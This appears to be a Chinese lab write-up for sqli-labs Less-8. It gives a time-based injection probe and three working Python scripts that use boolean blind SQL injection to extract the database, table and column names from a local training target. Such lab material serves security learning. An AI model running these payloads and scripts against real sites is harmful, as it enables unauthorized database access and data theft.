当前位置: 首页 > article >正文

sqlilabs--小实验

一、先盲注判断

?id=1' and sleep(2)--+

如果发现页面存在注点,使用时间盲注脚本进行注入

import requests
 
 
def inject_database(url):
    name = ''
    for i in range(1, 20):  # 假设数据库名称长度不超过20
        low = 48  # '0'
        high = 122  # 'z'
        middle = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(),%d,1))>%d-- " % (i, middle)
            params = {"id": payload}
            r = requests.get(url, params=params)
 
            # 判断注入是否成功,依据靶场的返回信息
            if 'You are in' in r.text:  # 只检查包含 "You are in" 的内容,表示成功
                low = middle + 1
            else:
                high = middle
            middle = (low + high) // 2
 
        # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
        if middle > 32:  # 跳过空格和不可打印字符
            name += chr(middle)
 
        # 每次获取一个字符后打印当前的数据库名
        print(f"Current database name: {name}")
 
        # 重置 low 和 high 的值
        low = 48
        high = 122
        middle = (low + high) // 2
 
    print(f"Final database name: {name}")
 
 
if __name__ == "__main__":
    url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"
    inject_database(url)

成功注入出了数据库名。

二、更换payload和部分函数代码注入表和列

import requests
 
def inject_table_name(url, database_name):
    table_name = ''
    for i in range(1, 20):  # 假设表名长度不超过20
        low = 48  # '0'
        high = 122  # 'z'
        middle = (low + high) // 2
        while low < high:
            # 构造布尔盲注的 payload
            payload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit 0,1),{i},1))>{middle}-- "
            params = {"id": payload}
            r = requests.get(url, params=params)
 
            # 判断注入是否成功,依据靶场的返回信息
            if 'You are in' in r.text:  # 只检查包含 "You are in" 的内容,表示成功
                low = middle + 1
            else:
                high = middle
            middle = (low + high) // 2
 
        # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
        if middle > 32:  # 跳过空格和不可打印字符
            table_name += chr(middle)
 
        # 每次获取一个字符后打印当前的表名
        print(table_name)
 
        # 重置 low 和 high 的值
        low = 48
        high = 122
        middle = (low + high) // 2
 
    print(f"Final table name: {table_name}")
 
if __name__ == "__main__":
    url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"  
    database_name = "security"  # 目标数据库名称
    inject_table_name(url, database_name)

列名注入 

import requests
 
def inject_column_name(url, database_name, table_name):
    column_name = ''
    for i in range(1, 20):  # 假设列名长度不超过20
        low = 48  # '0'
        high = 122  # 'z'
        middle = (low + high) // 2
        while low < high:
            # 构造布尔盲注的 payload
            payload = f"1' and ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}' limit 0,1),{i},1))>{middle}-- "
            params = {"id": payload}
            r = requests.get(url, params=params)
 
            # 判断注入是否成功,依据靶场的返回信息
            if 'You are in' in r.text:  # 只检查包含 "You are in" 的内容,表示成功
                low = middle + 1
            else:
                high = middle
            middle = (low + high) // 2
 
        # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符
        if middle > 32:  # 跳过空格和不可打印字符
            column_name += chr(middle)
 
        # 每次获取一个字符后打印当前的列名
        print(column_name)
 
        # 重置 low 和 high 的值
        low = 48
        high = 122
        middle = (low + high) // 2
 
    print(f"Final column name: {column_name}")
 
if __name__ == "__main__":
    url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"  
    database_name = "security"  # 目标数据库名称
    table_name = "users"  # 目标表名
    inject_column_name(url, database_name, table_name)


http://www.kler.cn/a/544614.html

相关文章:

  • 深度学习框架探秘|TensorFlow vs PyTorch:AI 框架的巅峰对决
  • 2025年02月10日Github流行趋势
  • C语言——排序(冒泡,选择,插入)
  • 【Elasticsearch】内置分析器概述
  • Air724 DTU数据上报json到v1/gateway/telemetry
  • 2D小游戏-创新设计——《弹射挑战》
  • 伯克利 CS61A 课堂笔记 08 —— Strings and Dictionaries
  • 解析 JavaScript 面试题:`index | 0` 确保数组索引为整数
  • 数据库安全、分布式数据库、反规范化等新技术(高软19)
  • 连锁收银系统的核心架构与技术选型
  • 51c自动驾驶~合集50
  • Tweak Power:高效电脑系统优化利器
  • ubuntu 实时系统安装Nvidia驱动
  • 小米红米手机澎湃2.0解锁BL 绕澎湃社区验证 救砖以及9008授权
  • 优雅的git log输出内容更加醒目
  • 【愚公系列】《Python网络爬虫从入门到精通》007-请求模块requests高级应用(Reguests-HTML)
  • Kubernetes部署OwnCloud网盘服务
  • 基于javaweb的SpringBoot+MyBatis健身房信息管理系统(源码+文档+部署讲解)
  • 深入理解DeepSeek与企业实践(二):32B多卡推理的原理、硬件散热与性能实测
  • 06:串口通信